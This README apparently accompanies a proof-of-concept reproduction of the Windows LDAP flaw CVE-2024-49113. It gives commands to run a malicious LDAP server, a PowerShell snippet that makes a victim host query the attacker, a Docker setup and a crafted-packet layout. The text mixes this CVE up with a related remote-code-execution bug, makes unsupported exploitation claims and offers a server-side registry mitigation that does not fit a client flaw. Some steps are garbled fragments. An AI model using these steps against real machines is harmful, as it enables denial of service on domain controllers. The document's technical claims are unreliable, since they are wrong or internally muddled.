
Reproduction of cve-2024-49113-ldap_nightmare_reproduction
Windows LDAP Client Remote Code Execution (Heap-Based Buffer Overflow)
| Field | Value |
|---|---|
| CVE | CVE-2024-49113 |
| Alias | LDAP Nightmare |
| CVSS 3.1 | 9.8 — CRITICAL |
| CWE | CWE-122 — Heap-based Buffer Overflow |
| Discovered | SafeBreach (published PoC January 2025) |
| Exploitation | Active exploitation in the wild confirmed |
| Patch | Microsoft December 2024 Patch Tuesday (KB5048685 / KB5048652) |
CVE-2024-49113 is a critical heap-based buffer overflow vulnerability in the Windows LDAP client library (wldap32.dll). An unauthenticated, remote attacker can trigger the vulnerability by sending a specially crafted LDAP response to a victim Windows machine that issues an LDAP query (e.g., a domain controller performing directory lookups).
Because Windows domain controllers routinely send LDAP queries to other domain controllers, member servers, and global catalog servers, this flaw is especially dangerous in Active Directory environments. Successful exploitation achieves remote code execution in the context of the Local System account (on domain controllers), giving the attacker full control of the targeted server.
The public proof-of-concept (dubbed "LDAP Nightmare") was released by SafeBreach in January 2025 after Microsoft shipped fixes in the December 2024 Patch Tuesday.
The vulnerability resides in wldap32.dll — the Windows implementation of the Lightweight Directory Access Protocol (LDAP) client as defined in RFC 4511.
When an LDAP client receives a Search Result Entry response, the library parses the LDAP message's Protocol Data Units (PDUs) in a BER (Basic Encoding Rules) decoder loop. A flaw in the heap memory allocation logic during the parsing of LDAP attribute values causes the decoder to write data beyond the bounds of a heap-allocated buffer.
Specifically:
All supported editions of Windows Server and Windows Client are vulnerable prior to the December 10, 2024 security updates:
The December 2024 Patch Tuesday updates that address this CVE are:
┌──────────────────┐ LDAP Query ┌─────────────────────┐
│ Victim Host │ ──────────────────────────▶ │ Attacker LDAP │
│ (Windows DC) │ │ Server (This PoC) │
│ │ ◀────────────────────────── │ │
│ wldap32.dll │ Crafted LDAP Response │ exploit.py │
│ overflowed │ (heap overflow payload) │ port 389 │
└──────────────────┘ └─────────────────────┘
On the victim, check the installed KBs:
Get-HotFix | Where-Object { $_.HotFixID -match "KB5048685|KB5048652" }
If no results are returned, the system is unpatched and vulnerable.
On the attacker machine, run this PoC:
python exploit.py --listen-ip 192.168.1.100 --listen-port 389
Where 192.168.1.100 is the attacker's IP address.
Note: On Linux, binding to port 389 requires root (sudo). On Windows, admin privileges may be required.
From the victim machine (PowerShell, as Administrator):
# Force an LDAP search against the attacker server
$ldapPath = "LDAP://192.168.1.100/DC=evil,DC=local"
$searcher = New-Object DirectoryServices.DirectorySearcher($ldapPath)
$searcher.Filter = "(objectClass=*)"
$searcher.SearchRoot = $null
try {
$results = $searcher.FindAll()
} catch {
Write-Host "Connection attempted — check the PoC server for crash details"
}
Alternatively, use ldp.exe (included with Windows Server / RSAT):
DC=evil,DC=local[*] Sending malicious search result entry... and send the crafted response.lsass.exe or the LDAP client process will crash with an access violation (0xC0000005), or the system may BSOD.A Dockerfile is provided to run the PoC in an isolated environment:
docker build -t ldap-nightmare .
docker run --rm -p 389:389 --cap-add=NET_ADMIN ldap-nightmare
The included exploit.py implements:
--listen-ip, --listen-port, --payload-size).# Start the malicious server
sudo python exploit.py --listen-ip 0.0.0.0 --listen-port 389
# In another terminal, watch for connections
tcpdump -i any port 389 -X
Install the December 10, 2024 Patch Tuesday updates:
If the patch cannot be applied immediately:
Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\NTDS\Parameters" `
-Name "LDAPServerIntegrity" -Value 2 -Type DWord
Restart-Service NTDS
wevtutil qe "Windows PowerShell" /f:text /q:"*[System[EventID=1000]]"
This material is provided for educational and authorized security testing purposes only. Unauthorized exploitation of CVE-2024-49113 against systems without explicit permission is illegal. The authors are not responsible for any misuse of this information. Always obtain written authorization before testing any system.
| Offset | Field | Value |
|---|
| 0x00 | LDAP Message Tag (0x30) | Sequence |
| 0x01–0x02 | Total Length (crafted) | Large value triggers overflow |
| 0x03 | ProtocolOp (0x64) | Search Result Entry |
| 0x04–0x0E | LDAP Result Fields | Standard header |
| 0x0F+ | Attribute List | Overflow trigger (length = 0xFFFF) |
| Source | URL |
|---|
| Microsoft Security Response Center | MSRC CVE-2024-49113 |
| SafeBreach (Original Discovery) | SafeBreach Blog — LDAP Nightmare |
| NVD | NVD CVE-2024-49113 |
| CWE-122 | Heap-based Buffer Overflow |
| RFC 4511 | LDAPv3 Protocol |
| December 2024 Patch Tuesday | Microsoft Release Notes |